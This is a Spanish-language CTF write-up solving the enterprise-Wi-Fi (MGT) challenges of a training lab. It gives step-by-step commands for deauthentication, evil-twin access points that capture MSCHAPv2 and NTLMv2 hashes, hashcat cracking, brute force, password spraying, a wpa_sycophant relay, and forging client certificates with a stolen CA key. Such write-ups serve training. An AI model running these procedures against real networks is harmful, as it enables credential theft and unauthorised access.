Wi-Fi desde 0 – MGT

Wi-Fi

3,2,1 … Empezamos!

Nueva entrada en el blog en la cual vamos a resolver el apartado del CTF WiFiChallengeLab creado por Raúl Calvo Laorden, que corresponde a “MGT”. Una red MGT se encuentra, principalmente, en el mundo empresarial. Su configuración es más compleja, pero ofrece control individualizado y centralizado sobre el acceso a la red Wi-Fi. Cada usuario tiene su propia autenticación, que puede ser un nombre de usuario y una contraseña o un certificado. Este modo soporta la autenticación de 802.1x RADIUS.

Se recomienda leer estos artículos antes de continuar con la lectura:

¡Espero que os resulte útil!

Retos MGT

18. ¿Cuál es la contraseña de juan en wifi-corp?

(18. What is juan’s wifi-corp password?)

Para realizar un ataque a un cliente que esté en una red MGT, necesitamos establecer un Punto de Acceso Falso (Rogue AP) con el mismo ESSID y configuración. Sin embargo, este Rogue AP deberá tener un certificado autofirmado, idealmente con la misma información que el certificado real, en caso de que el cliente decida verificar el certificado de forma manual.

Para ello, vamos a emplear la herramienta eaphammer.

En primer lugar, analizamos el AP sobre el que vamos a realizar el ataque: 

sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon --essid wifi-corp --band abg
Tarjeta wlan0 en modo monitor y analizando el AP wifi-corp

Comprobamos que emite en el canal 44, por lo que filtramos el airodump-ng:

sudo airodump-ng wlan0mon --essid wifi-corp --band abg -c 44
Capturando el tráfico de la red wifi-corp

Tras capturar la información necesaria: 2 BSSIDs y 2 clientes, procedemos a montar el Rogue AP con eapharmmer.

Elevamos privilegios, nos desplazamos hasta la localización del script y ejecutamos la herramienta eapharmmer:

sudo su
cd /root/tools/eaphammer
python3 ./eaphammer --cert-wizard
python3 ./eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced
Configurando el certificado con eaphammer

A continuación, vamos a explicar que es cada parámetro:

  • --cert-wizard: Se utiliza para ejecutar el modo Cert Wizard de eapharmmer, este modo se utiliza para crear, importar y gestionar certificados SSL. Existen varias opciones: Modo interactivo, creación de certificados, certificados autofirmados, modo Bootstrap y el uso de certificados y claves CA externas.
  • -i wlan3: Interfaz de red inalámbrica a usar.
  • --auth wpa-eap: Especifica el método de autenticación a emplear.
  • --essid wifi-corp: Indica el nombre de ESSID que va a mostrar el AP.
  • --creds: Este parámetro indica a la herramienta que capture las credenciales.
  • --negotiate balanced: Este parámetro especifica el modo de negociación que se utilizará, en este caso balanced.
Habilitando el AP wifi-corp con eaphammer

Utilizaremos dos ventanas, en una realizamos dos de-autenticaciones a los clientes que están conectados al AP forzando que se conecten al AP que nosotros hemos desplegado en la segunda ventana como se puede ver en la parte izquierda de la imagen:

# Ventana 1:
iwconfig wlan0mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:40
# Ventana 2:
sudo airmon-ng start wlan2 44
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan2mon -c 64:32:A8:07:6C:40
Ejecución del ataque

Una vez el cliente se ha conectado a nuestro AP, obtenemos sus credenciales de tipo MSCHAPv2. Al tener su hash, usamos la herramienta hashcat para obtener la contraseña en texto plano.

cat logs/hostapd-eaphammer.log | grep hashcat | awk '{print $3}' >> hashcat.5500

A continuación, vamos a explicar que es cada parámetro:

  • cat logs/hostapd-eaphammer.log: Se muestra el contenido del archivo hostapd-eaphammer.log que se encuentra en el directorio logs.
  • | grep hashcat: Se filtra la salida del comando anterior para mostrar sólo las líneas que contienen la palabra hashcat.
  • | awk '{print $3}': Se procesa la salida del comando anterior y muestra sólo la tercera columna de cada línea.
  • >> hashcat.5500: Con » se redirige la salida del comando anterior y la añade al final del archivo ‘hashcat.5500’.

Con el siguiente comando realizamos el crackeo de la contraseña:

hashcat -a 0 -m 5500 hashcat.5500 /root/rockyou-top100000.txt --force

A continuación, vamos a explicar que es cada parámetro:

  • hashcat: Ejecutar la herramienta hashcat para crackear contraseñas.
  • -a 0: Se indica el modo de ataque que se va a emplear, en este caso el 0 corresponde a un ataque de diccionario.
  • -m 5500: Se especifica el tipo de hash que se va a romper, en este caso 5500, que corresponde a NetNTLMv1 / NetNTLMv1+ESS.
  • hashcat.5500: Fichero donde están almacenados los hashes que se van a crackear.
  • /root/rockyou-top100000.txt: Fichero con el diccionario de palabras a emplear.
  • --force: Esta opción hace que hashcat ignore cualquier advertencia y continúe con el crackeo.
Crackeo de la contraseña obtenida en el ataque anterior – Flag 18

19. ¿Cuál es la contraseña de CONTOSO\test en wifi-corp?

(19. What is CONTOSOtest password in wifi-corp?)

En este reto, nos indica un usuario válido de una red, en concreto wifi-corp. Para obtener la contraseña, podemos realizar una fuerza bruta para descubrir la contraseña.

Para ello, podemos utilizar la herramienta air-hammer.

Elevamos privilegios, nos desplazamos hasta la localización de la herramienta y creamos el fichero con el nombre del DOMINIO\usuario. Por último, lanzamos la herramienta indicando con -i la interfaz que vamos a utilizar para realizar el ataque, con -e el ESSID del AP, -p la lista de posibles contraseñas para hacer la fuerza bruta y el fichero con el usuario con el parámetro -u:

sudo su
cd /root/tools/air-hammer
pico user.txt
CONTOSO\test
cat user.txt
./air-hammer.py -i wlan0 -e wifi-corp -p /root/rockyou-top100000.txt -u user.txt
Ataque de fuerza bruta con air-hammer – Flag 19

A continuación, vamos a explicar que es cada parámetro:

  • ./air-hammer.py: Es una herramienta de ataque de fuerza bruta para redes WPA Enterprise.
  • -i wlan0: Indicamos la interfaz de red inalámbrica que se utilizará para el ataque, en este caso wlan0.
  • -e wifi-corp: Indicamos el nombre de la red sobre la que queremos realizar el ataque, en este caso wifi-corp.
  • -p /root/rockyou-top100000.txt: Indicamos el listado de contraseñas que va a probar la herramienta.
  • -u user.txt: Indicamos el listado de usuarios que va a probar la herramienta.

(Este ataque puede demorarse unos minutos).

De esta forma, obtenemos la contraseña del usuario CONTOSO\test.

20. ¿Cuál es el usuario (con dominio) con contraseña 12345678 en wifi-corp?

(20. Which is the user (with domain) with password 12345678 in wifi-corp?)

Este challenge es bastante parecido al anterior, pero en vez de llevar a cabo un ataque de fuerza bruta, realizamos un password spraying debido a que conocemos la contraseña. Es importante incluir el dominio en la lista de usuarios para asegurarnos que la autenticación se hace de forma correcta.

Volvemos a utilizar air-hammer.

Sin habernos salido de la ruta dónde estábamos en el challenge anterior, generamos el fichero con los usuarios a raíz del fichero top-usernames-shortlist.txt que nos indica la descripción del challenge.

Tenemos que añadirle a cada línea el dominio ‘CONTOSO’ y se lo añadimos con el siguiente comando:

cat /root/top-usernames-shortlist.txt | awk '{print "CONTOSO\" $1}' > /root/users_domain.txt

Comprobamos que la estructura del fichero es correcta visualizando las 10 primeras líneas:

head -10 /root/users_domain.txt

Lanzamos la herramienta indicando con -i la interfaz que vamos a utilizar para realizar el ataque, con -e el ESSID del AP, -P la contraseña que sabemos que es válida y -u para el fichero que acabamos de modificar:

./air-hammer.py -i wlan0 -e wifi-corp -P 12345678 -u /root/users_domain.txt
Ataque de password spraying con air-harmmer – Flag 20

(Este ataque puede demorarse unos minutos).

De esta forma, obtenemos el usuario del dominio CONTOSO con la contraseña 12345678.

21. ¿Cuál es la flag en el AP wifi-regional-tablets?

(21. What is the flag on the wifi-regional-tablets AP?)

En el challenge nos indica que nos tenemos que conectar a la red wifi-regional-tablets con la cuenta de Luis sin crackear su contraseña (es imposible de crackear).

Para levantar el Rogue AP conectado a “wpa_sycophant” utilizamos “berate_ap”, muy similar a “eaphammer” en las secciones anteriores.

Para realizar este desafío tenemos que hacer un ataque de tipo relay. El método de autenticación MSCHAPv2 al funcionar igual que NetNTLM, podemos reutilizar el challenge del AP reenviándolo al cliente legítimo y reutilizar su respuesta para acceder al AP real. Para ello, utilizaremos la herramienta wpa_sycophant.

En primer lugar, para evitar tener problemas con el “Network Manager”, procedemos a pausarlo y a matar todos los procesos que pueden crear problemas con los siguientes pasos. Seguidamente, desactivamos la interfaz wlan0 y procedemos a modificarle la MAC y, a continuación, la volvemos a activar.

sudo service NetworkManager stop
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo macchanger -m F0:9F:C2:00:00:00 wlan0
sudo ip link set wlan0 up
Cambio de MAC en la tarjeta wlan0

El siguiente paso es configurar el fichero de configuración de la herramienta wpa_sycophant.

sudo pico /root/tools/wpa_sycophant/wpa_sycophant_wifi-regional-tablets.conf
network={
  ssid="wifi-regional-tablets"
  ## The SSID you would like to relay and authenticate against.
  scan_ssid=1
  key_mgmt=WPA-EAP
  ## Do not modify
  identity=""
  anonymous_identity=""
  password=""
  ## This initialises the variables for me.
  ## -------------
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  ## Dont want to connect back to ourselves,
  ## so add your rogue BSSID here.
  bssid_blacklist=F0:9F:C2:00:00:00
}
sudo cat /root/tools/wpa_sycophant/wpa_sycophant_wifi-regional-tablets.conf

A continuación, vamos a explicar que es cada parámetro:

  • ssid="wifi-regional-tablets": Se indica el SSID (nombre de la red).
  • scan_ssid=1: Este parámetro permite que la herramienta escanee el SSID especificado.
  • key_mgmt=WPA-EAP: Se especifica el método de gestión de claves que se va a emplear.
  • identity="", anonymous_identity="", password="": En estos parámetros se emplean para proporcionar las credenciales para conectarse a la red.
  • eap=PEAP: Se indica el método EAP que se va a usar.
  • phase1="crypto_binding=0 peaplabel=0", phase2="auth=MSCHAPV2": Estos parámetros configuran las fases 1 y 2 de la autenticación EAP.
  • bssid_blacklist=F0:9F:C2:00:00:00: Este parámetro evita que la herramienta se conecte a sí misma añadiendo tu BSSID a la lista negra.
Configurando el fichero .conf del AP wifi-regional-tablets

En una nueva terminal, vamos al directorio donde se encuentra la herramienta berate_ap, ponemos la interfaz wlan0 en modo monitor y ejecutamos la herramienta.

sudo su
cd /root/tools/berate_ap/
airmon-ng start wlan0
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout wifi-regional-tablets.log wlan0mon lo wifi-regional-tablets
Desplegando el AP wifi-regional-tablets (1/2)
Desplegando el AP wifi-regional-tablets (2/2)

A continuación, vamos a explicar que es cada parámetro:

  • ./berate_ap: Hace uso de una versión modificada de hostapd llamada hostapd-mana.
  • --eap: Esta opción habilita el ataque EAP (Extensible Authentication Protocol).
  • --mana-wpe: Habilitamos el uso de MANA-WPE. MANA es una herramienta que puede ser utilizada para realizar ataques de intermediario en redes inalámbricas. WPE (Wireless Pwnage Edition) es una serie de parches para mejorar la funcionalidad de MANA.
  • --wpa-sycophant: Habilitamos el ataque WPA-Sycophant, que es un ataque de cliente malicioso contra redes WPA-Enterprise.
  • --mana-credout wifi-regional-tablets.log: Indicamos que las credenciales capturadas deben ser escritas en el fichero que indicamos, en este caso wifi-regional-tablets.log.
  • wlan0mon: Esta es la interfaz de red inalámbrica que se utilizará para el ataque.
  • lo: Esta es la interfaz de bucle local (loopback), que se utiliza para la comunicación de red interna en el sistema.
  • wifi-regional-tablets: Este es el ESSID (nombre) de la red Wi-Fi que estamos atacando, en este caso wifi-regional-tablets.

En otra terminal, configuramos la interfaz wlan1 en modo monitor y lanzamos un ataque de de-autenticación sobre uno de los clientes que se conectan al AP wifi-regional-tablets.

sudo airmon-ng start wlan1
sudo iwconfig wlan1mon channel 44
sudo aireplay-ng -0 0 wlan1mon -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55
Deautenticando en la red wifi-regional-tablets

Volvemos a la primera terminal y ejecutamos la herramienta wpa_sycophant indicando el fichero de configuración que anteriormente hemos creado y la interfaz que vamos a usar:

sudo su
cd /root/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_wifi-regional-tablets.conf -i wlan2
Intento de autenticación con wpa_sycophant (1/2)
Intento de autenticación con wpa_sycophant (2/2)

A continuación, vamos a explicar que es cada parámetro:

  • ./wpa_sycophant.sh: Es una herramienta para retransmitir intentos de autenticación de fase 2 para acceder a la red inalámbrica corporativa sin descifrar la contraseña.
  • -c wpa_sycophant_wifi-regional-tablets.conf: Especificamos el fichero de configuración que vamos a emplear en el ataque, en este caso wpa_sycophant_wifi-regional-tablets.conf
  • -i wlan2: Esta es la interfaz de red inalámbrica que se utilizará para el ataque, en este caso wlan2.

Una vez que se ha conectado a nuestro Rogue AP, liberamos la dirección por si está ocupada y detenemos el cliente DHCP en ejecución. A continuación, con dhclient -v, le asignamos una IP.

Solicitando IP con dhclient

Una vez asignada la IP, accedemos a 192.168.18.1/login.php y visualizamos la flag.

Flag 21

2.8.22. ¿Cuál es la flag en el AP wifi-regional?

(22. What is the flag on the wifi-regional AP?)

Este challenge es igual que el anterior, pero en otra red, nos indica que nos tenemos que conectar a la red wifi-regional con la cuenta de Luis sin crackear su contraseña (es imposible de crackear).

Para realizar este desafío tenemos que hacer un ataque de tipo relay. MSCHAPv2 al funcionar igual que NetNTLM, podemos reutilizar el challenge del AP reenviándolo al cliente legítimo y reutilizar su respuesta para acceder al AP real. Este challenge se distingue del anterior debido a que, en ambas redes existe un AD que permite el acceso por grupos. EL protocolo MSCHAPv2 valida el usuario, en este caso DOMINIO\usuario, pero no valida a la red a la que está intentando conectar, en este caso a wifi-regional. Por ello, simulamos que el cliente se está conectando a wifi-regional-tablets y reenviamos dichas credenciales a la red wifi-regional.

¿Por qué funciona? Porque en ningún momento está comprobando a qué ESSID se está conectando, por lo que las credenciales son válidas dentro del AD y permite realizar una autenticación exitosa.

Para levantar el Rogue AP conectado a “wpa_sycophant” utilizamos “berate_ap”.

En primer lugar, para evitar tener problemas con el “Network Manager”, procedemos a pausarlo y a «matar» todos los procesos que pueden crear problemas con los siguientes pasos. Seguidamente, desactivamos la interfaz wlan0 y procedemos a modificarle la MAC y, a continuación, la volvemos a activar.

sudo service NetworkManager stop
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo macchanger -m F0:9F:C2:00:00:00 wlan0
sudo ip link set wlan0 up
Modificando la MAC de la tarjeta wlan0

El siguiente paso es configurar el fichero de configuración de la herramienta wpa_sycophant.

sudo pico /root/tools/wpa_sycophant/wpa_sycophant_wifi-regional.conf
network={
  ssid="wifi-regional"
  ## The SSID you would like to relay and authenticate against.
  scan_ssid=1
  key_mgmt=WPA-EAP
  ## Do not modify
  identity=""
  anonymous_identity=""
  password=""
  ## This initialises the variables for me.
  ## -------------
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  ## Dont want to connect back to ourselves,
  ## so add your rogue BSSID here.
  bssid_blacklist=F0:9F:C2:00:00:00
}
sudo cat /root/tools/wpa_sycophant/wpa_sycophant_wifi.conf

Los parámetros se encuentran explicados en el reto anterior.

Configurando el fichero .conf del AP wifi-regional

En una nueva terminal, vamos al directorio donde se encuentra la herramienta berate_ap, ponemos la interfaz wlan0 en modo monitor y ejecutamos la herramienta.

cd /root/tools/berate_ap/
airmon-ng start wlan0
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout wifi-regional.log wlan0mon lo wifi-regional
Ejecución de berate_ap (1/3)
Ejecución de berate_ap (2/3)
Ejecución de berate_ap (3/3)

En otra terminal, configuramos la interfaz wlan1 en modo monitor y lanzamos un ataque de de-autenticación sobre uno de los clientes que se conectan al AP wifi-regional.

sudo airmon-ng start wlan1
sudo iwconfig wlan1mon channel 44
sudo aireplay-ng -0 0 wlan1mon -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55
 De-autenticación

Volvemos a la primera terminal y ejecutamos la herramienta wpa_sycophant indicando el fichero de configuración que anteriormente hemos creado y la interfaz que vamos a usar:

sudo su
cd /root/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_wifi-regional-tablets.conf -i wlan2
Ejecutando wpa_sycophant (1/2)

Ejecutando wpa_sycophant (2/2)

Una vez que se ha conectado a nuestro Rogue AP, liberamos la dirección por si está ocupada y detenemos el cliente DHCP en ejecución. A continuación, con dhclient -v, le asignamos una IP.

Asignando IP con dhclient

Una vez asignada la IP, accedemos a 192.168.7.1/login.php y visualizamos la flag.

Flag 22

2.8.23. ¿Cuál es la contraseña del usuario vulnerable del Rogue AP wifi-global?

(23. What is the password of the user vulnerable to Rogue AP of wifi-global?)

Para resolver este challenge tenemos dos opciones: montar un Rogue AP de una red abierta simulando un portal cautivo (captive-portal) o emplear un responder (hostile-portal) para obtener el usuario y contraseña.

Phishing+Rogue AP (captive-portal)

En el caso en que intentamos emplear los mismos ataques que con las redes anteriores, comprobaremos que no va a ser exitoso debido a que este AP solamente soporta acceso con certificado de cliente, como se ha podido comprobar en retos anteriores.

Por ello, procedemos a analizar los clientes que se conectan a este AP.

sudo service NetworkManager stop
sudo airmon-ng check kill
sudo airmon-ng start wlan2
Configuración tarjeta de red
sudo airodump-ng wlan2mon --essid wifi-global --band abg -c 44 -w capturas/captura23
Captura de PMKID

Como podemos comprobar, el cliente con MAC 64:32:A8:BC:53:51 previamente se ha conectado a estas redes: “open-wifi,home-WiFi,WiFi-Restaurant”. De estos APs, home-WiFi es una red PSK pero los otros ESSID son redes abiertas. Con lo cual, procedemos a crear un Rogue AP falso con el mismo ESSID y de-autenticaremos al cliente para que este se conecte a nuestro punto y obtendremos las credenciales.

sudo iwconfig wlan1mon channel 44
sudo aireplay-ng -0 0 wlan1mon -a F0:9F:C2:71:22:17 -c 64:32:A8:BC:53:51
De-autenticación a un cliente
sudo service NetworkManager start
sudo su
cd /root/tools/eaphammer/
killall dnsmasq
./eaphammer --bssid F0:9F:C2:71:22:18 --essid WiFi-Restaurant --interface wlan3 --captive-portal
Desplegando AP WiFi-Restaurant
Flag 23

Responder+Rogue AP (hostile-portal)

Otra opción que tenemos en este apartado es realizar un ataque hostil de portal, ejecutando la herramienta Responder una vez conectados a nuestro Rogue AP. Igual que antes con --hostile-portal

sudo iwconfig wlan1mon channel 44
sudo aireplay-ng -0 0 wlan1mon -a F0:9F:C2:71:22:17 -c 64:32:A8:BC:53:51
De-autenticación del cliente
sudo service NetworkManager start
sudo su
cd /root/tools/eaphammer/
killall dnsmasq
./eaphammer –bssid F0:9F:C2:71:22:18 –essid WiFi-Restaurant –interface wlan3 –-hostile-portal
AP WiFi-Restaurant desplegado (1/3)
AP WiFi-Restaurant desplegado (2/3)
AP WiFi-Restaurant desplegado (3/3)

En la ventana eaphammer, se comprueba que se ha conectado un cliente:

Cliente conectado

En la herramienta Responder, recogemos el hash de tipo NTLMv2 y lo guardamos en un fichero:

Hash capturado
cat logs/Responder-Session.log | grep NTLMv2 | grep Hash | awk ‘{print $9}’ > god.5600
cat god.5600
Fichero con el hash

Con la herramienta hashcat, procedemos a crackear y obtener la contraseña del usuario vulnerable.

hashcat -a 0 -m 5600 god.5600 /root/rockyou-top100000.txt --force
Crackeo de contraseña con hashcat – Flag 23

2.8.24. ¿Cuál es la flag tras conectarse en wifi-regional tras loguearse con las credenciales obtenidas en el anterior paso?

(24. What is the flag after login in wifi-regional when logging in with the credentials obtained in the previous step?)

Accedemos con las credenciales obtenidas en el reto anterior.

Acceso a la plataforma

Se muestra la flag e información de la configuración del AP wifi-corp:

Ficheros con la configuración del AP – Flag 24

Accedemos al directorio y realizamos la descarga de los ficheros almacenados en este:

Directorio con los certificados

2.8.25. ¿Cuál es la contraseña del Administrador de wifi-corp?

(25. What is the password of the wifi-corp Administrator?)

Cómo hemos identificado anteriormente, si un cliente quiere conectarse a wifi-corp, este tiene que tener el certificado. En este caso, ya disponemos del certificado y de la CA (Autoriridad de certificación) del AP real, por lo que podemos crear un Rogue AP y forzar a los clientes que se conecten a nuestro AP falso.

Descarga de ficheros

Una vez descargados los certificados en el reto anterior, procedemos a renombrarlos:

Ficheros descargados (1/2)
Ficheros descargados (2/2)
mv server.key.txt server.key
mv ca.serial.txt ca.serial
mv ca.crt.txt ca.crt
mv ca.key.txt ca.key
mv server.crt.txt server.crt
mv client.conf.txt client.conf
mv client.ext.txt client.ext
Modificar el nombre de los ficheros

Para resolver este challenge tenemos dos formas:

eaphammer

Con eaphammer vamos a crear un Rogue AP para con los certificados que nos hemos descargado:

sudo service NetworkManager stop
sudo airmon-ng check kill
sudo su cd /root/tools/eaphammer
Pasos previos al ataque con eaphammer
python3 ./eaphammer --cert-wizard import --server-cert /home/user/192.168.7.1/.internalCA/server.crt --ca-cert /home/user/192.168.7.1/.internalCA/ca.crt --private-key /home/user/192.168.7.1/.internalCA/server.key --private-key-passwd cosa
Configurando AP

A continuación, vamos a explicar que es cada parámetro:

  • --cert-wizard import: Indica que se debe importar un certificado.
  • --server-cert /home/user/192.168.7.1/.internalCA/server.crt: Se especifica la ruta del archivo de certificado del servidor.
  • --ca-cert /home/user/192.168.7.1/.internalCA/ca.crt: Se especifica la ruta del archivo de certificado de la autoridad de certificación (CA).
  • --private-key /home/user/192.168.7.1/.internalCA/server.key: Se especifica la ruta del archivo de clave privada del servidor.
  • --private-key-passwd cosa: Se especifica la contraseña para desbloquear el archivo de clave privada.

Este comando importa los certificados necesarios para que eaphammer pueda utilizarlos en configuraciones de red, asegurando que se usen certificados correctos y seguros.

sudo python3 ./eaphammer -i wlan4 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced
Desplegando AP
  • python3 ./eaphammer: Se ejecuta el script eaphammer para realizar ataques de evil twin.
  • -i wlan0: Se especifica la interfaz de red a utilizar.
  • --auth wpa-eap: Se configura el tipo de autenticación a WPA-EAP (Extensible Authentication Protocol).
  • --essid wifi-corp: Se especifica el nombre del AP que se está creando, en este caso wifi-corp.
  • --creds: Se indica que se deben capturar credenciales durante el ataque.
  • --negotiate balanced: Se emplea una estrategia de negociación equilibrada para el ataque.

Con este comando configuramos un punto de acceso inalámbrico con WPA-EAP y capturamos las credenciales de los usuarios que se conecten.

Realizamos una de-autenticación a todos los clientes que estén conectados al AP wifi-corp:

sudo airmon-ng start wlan2 
sudo airodump-ng wlan2mon --essid wifi-corp --band abg -c 44 
sudo iwconfig wlan2mon channel 44 
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan2mon -c 64:32:A8:BA:6C:41
De-autenticación cliente 1
sudo airmon-ng start wlan3 
sudo iwconfig wlan3mon channel 44 
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:BA:6C:41
De-autenticación cliente 2

Mientras se realiza la de-autenticación, observamos la terminal donde se está ejecutando eaphammer y vemos cómo se ha autenticado el cliente en nuestro AP, obteniendo de esta manera las credenciales de éste.

Flag 25

berate_ap

En el caso de emplear berate_ap, los pasos a seguir son los siguientes:

En primer lugar, elevamos privilegios, nos desplazamos a la carpeta donde tenemos la herramienta y lanzamos el ataque, explicado a continuación:

sudo su
cd /root/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan2 lo wifi-corp --eap-cert-path /home/user/192.168.7.1/.internalCA
Ejecución berate_ap

A continuación, vamos a explicar que es cada parámetro:

  • ./berate_ap: Se ejecuta un script diseñado para crear puntos de acceso Wi-Fi maliciosos (rogue AP) utilizando la técnica MANA (Multiple APs Network Attack).
  • --eap: Activa el modo EAP (Extensible Authentication Protocol).
  • --mana-wpe: Activa el modo MANA WPE (Wireless Pwnage Edition), una técnica para capturar credenciales de usuarios en redes Wi-Fi.
  • --wpa-sycophant: Activa el modo WPA Sycophant, una técnica utilizada en ataques de retransmisión de autenticación EAP (Extensible Authentication Protocol) para acceder a redes Wi-Fi corporativas sin necesidad de descifrar la contraseña.
  • --mana-credout outputMana.log: Especifica el archivo de salida donde se guardarán las credenciales capturadas, en este caso outputMana.log.
  • wlan2: Especifica la interfaz de red en modo monitor que se va a usar.
  • lo: Especifica la interfaz loopback.
  • wifi-corp: Especifica el nombre de la red objetivo (SSID).
  • --eap-cert-path /home/user/192.168.7.1/.internalCA: Especifica la ruta al directorio donde se encuentran los certificados EAP necesarios para el ataque.

Este comando configura berate_ap para realizar un ataque a una red Wi-Fi con autenticación WPA-EAP, capturando credenciales y utilizando certificados EAP almacenados en una ruta específica.

Configuramos la tarjeta de red wlan0 en modo monitor:

sudo airmon-ng start wlan0
Activando modo monitor

Indicamos a la tarjeta de red wlan0mon que escuche en el puerto 44 y lanzamos un ataque de de-autenticación:

sudo iwconfig wlan0mon channel 44
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:BA:6C:41
De-autenticación a un cliente

Por otro lado, realizamos los mismos pasos con la tarjeta de red wlan3 para de-autenticar:

sudo airmon-ng start wlan3
sudo iwconfig wlan3mon channel 44
sudo aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan3mon -c 64:32:A8:BA:6C:41
Configurando tarjeta de red

Obteniendo de esta forma la contraseña:

Flag 25

2.8.26. ¿Cuál es la flag encontrada en el AP wifi-global?

(26. What is the flag found on the wifi-global AP?)

En este reto comenzamos desplazándonos al directorio donde tenemos los certificados descargados y generamos una clave privada RSA de 2048 bits y la guardamos en un fichero llamado client.key.

cd 192.168.7.1/.internalCA/
openssl genrsa -out client.key 2048

A continuación, vamos a explicar que es cada parámetro:

  • openssl genrsa: Ejecuta la herramienta OpenSSL para generar una clave RSA.
  • -out client.key: Especifica el archivo de salida donde se guardará la clave privada generada, en este caso client.key.
  • 2048: Indica el tamaño de la clave en bits, en este caso 2048 bits, lo que es comúnmente considerado seguro para muchas aplicaciones.

Este comando te crea una clave privada RSA que puedes usar para propósitos como crear una solicitud de firma de certificado (CSR), firmar datos, etc.

Una vez creada la clave privada, generamos una solicitud de firma de certificado (CSR) utilizando la clave privada client.key y una configuración especificada en client.conf. La CSR se guarda en client.csr.

 openssl req -config client.conf -new -key client.key -out client.csr

A continuación, vamos a explicar que es cada parámetro:

  • openssl req: Ejecuta la herramienta OpenSSL para gestionar solicitudes de certificado.
  • -config client.conf: Especifica el archivo de configuración (client.conf) que contiene los detalles necesarios para crear la CSR.
  • -new: Indica que se va a generar una nueva solicitud de firma de certificado.
  • -key client.key: Especifica el archivo que contiene la clave privada (client.key) que se utilizará para firmar la solicitud.
  • -out client.csr: Define el archivo de salida donde se guardará la solicitud de firma de certificado (CSR) generada (client.csr).

En resumen, este comando toma la clave privada que generamos anteriormente, utiliza la información del archivo de configuración y crea una nueva CSR que puedes enviar a una autoridad de certificación (CA) para obtener un certificado firmado.

Con el siguiente comando se usa la CSR del cliente, la firma con la clave privada de la CA y se genera un certificado de cliente válido por 730 días (2 años) con las configuraciones adicionales especificadas en el archivo client.ext y se guarda en el fichero client.crt

openssl x509 -days 730 -extfile client.ext -CA ca.crt -CAkey ca.key -CAserial ca.serial -in client.csr -req -out client.crt
Configurando certificado

A continuación, vamos a explicar que es cada parámetro:

  • openssl x509: Ejecuta la herramienta OpenSSL para usar certificados X.509.
  • -days 730: Especifica que el certificado de cliente será válido por 730 días.
  • -extfile client.ext: Incluye un archivo de extensión client.ext que contiene configuraciones adicionales para el certificado.
  • -CA ca.crt: Especifica el certificado de la CA que va a firmar el certificado de cliente.
  • -CAkey ca.key: Especifica la clave privada de la CA que se utilizará para firmar el certificado de cliente.
  • -CAserial ca.serial: Define el archivo que contiene el número de serie de la CA.
  • -in client.csr: Especifica el archivo de solicitud de firma de certificado (CSR) del cliente.
  • -req: Indica que el input es una solicitud de firma de certificado (CSR).
  • -out client.crt: Define el archivo de salida donde se guardará el certificado firmado del cliente.

En resumen, estos comandos generan una clave privada, crean una solicitud de firma de certificado, y finalmente firman el certificado utilizando una CA.

El siguiente paso sería crear un fichero de configuración de la red wifi-global:

pico wifi-global.conf
cat wifi-global.conf
Fichero wifi-global.conf

A continuación, vamos a explicar que es cada parámetro:

  • ssid="wifi-global": Especificamos el nombre de la red Wi-Fi (SSID) a la que nos vamos a conectar, en este caso wifi-global.
  • scan_ssid=1: Indica que se debe escanear para redes ocultas.
  • mode=0: Especifica el modo de operación. El valor 0 normalmente indica el modo infraestructura, que es el modo estándar para conectar a un router o punto de acceso.
  • proto=RSN: RSN (Robust Security Network) es una parte del estándar IEEE 802.11i y generalmente se refiere a WPA2.
  • key_mgmt=WPA-EAP: Define el método de gestión de claves. WPA-EAP utiliza el Protocolo de Autenticación Extensible (EAP) sobre WPA o WPA2.
  • auth_alg=OPEN: Especifica el algoritmo de autenticación. OPEN indica que no se utiliza autenticación WEP precompartida.
  • eap=TLS: Define el método EAP utilizado para la autenticación.
  • #anonymous_identity="GLOBAL\anonymous": Esta línea está comentada. Si estuviera activa, se usaría para la identidad anónima en la fase inicial de la autenticación EAP.
  • identity="GLOBAL\GlobalAdmin": Especifica la identidad del usuario que se utilizará para la autenticación EAP.
  • ca_cert="./ca.crt": Especifica la ruta al certificado de la autoridad de certificación (CA) utilizado para verificar el servidor durante la autenticación EAP-TLS.
  • client_cert="./client.crt": Especifica la ruta al certificado del cliente utilizado para la autenticación EAP-TLS.
  • private_key="./client.key": Define la ruta a la clave privada del cliente utilizada en la autenticación EAP-TLS.
  • private_key_passwd="cosa": Proporciona la contraseña para la clave privada del cliente, necesaria si la clave está cifrada.

Esta configuración está diseñada para conectarnos a una red Wi-Fi segura utilizando autenticación EAP-TLS, asegurando que tanto el cliente como el servidor se autentiquen mutuamente mediante certificados digitales.

En resumen, este comando inicia wpa_supplicant con privilegios de superusuario, utilizando el controlador nl80211, la interfaz inalámbrica wlan4, y el archivo de configuración wifi-global.conf para conectarse a una red Wi-Fi segura.

Procedemos a conectarnos a la red legítima con el fichero que hemos creado ejecutando el siguiente comando:

sudo wpa_supplicant -Dnl80211 -i wlan4 -c wifi-global.conf
Conexión con el AP

A continuación, vamos a explicar que es cada parámetro:

  • sudo: Ejecuta el comando con privilegios de superusuario.
  • wpa_supplicant: Herramienta que nos permite conectarnos a redes Wi-Fi protegidas por WPA/WPA2.
  • -Dnl80211: Especifica el controlador de backend para la interfaz Wi-Fi.
  • -i wlan4: Indica la interfaz de red inalámbrica que se va a utilizar, en este caso wlan4.
